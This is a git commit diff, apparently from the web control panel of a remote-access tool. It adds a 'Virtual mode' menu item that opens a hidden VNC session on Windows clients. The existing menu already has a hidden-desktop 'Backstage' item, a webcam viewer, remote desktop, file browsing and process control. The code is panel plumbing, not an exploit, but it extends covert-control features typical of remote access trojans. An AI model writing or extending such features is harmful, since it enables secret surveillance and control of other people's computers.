virtual mode

This commit is contained in:
KingKDot
2026-07-12 14:23:41 -05:00
parent 9ea63fa6bc
commit 24a20ed3f9
14 changed files with 3358 additions and 75 deletions
+11
View File
@@ -441,6 +441,9 @@ function applyMenuSupportRules(clientId) {
const hvncBtn = menu.querySelector('[data-open="Backstage"]');
setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
const hiddenBtn = menu.querySelector('[data-open="Virtual"]');
setAvailability(hiddenBtn, isOnline && isWindows, isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline");
const webcamBtn = menu.querySelector('[data-open="webcam"]');
setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
@@ -497,6 +500,7 @@ const MENU_OPEN_TO_FEATURE = {
console: "console",
remotedesktop: "remote_desktop",
Backstage: "hvnc",
Hidden: "hvnc",
webcam: "webcam",
files: "file_browser",
processes: "processes",
@@ -2055,6 +2059,13 @@ menu.addEventListener("click", async (e) => {
closeMenu(clearContext);
return;
}
if (open === "Virtual") {
// mode=hidden is understood by older hvnc.js builds; current builds treat
// it as the virtual-monitor mode compatibility alias.
window.open(`/hvnc?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
closeMenu(clearContext);
return;
}
if (open === "files") {
const platform = detectClientPlatform(contextCard);
if (platform !== "windows") {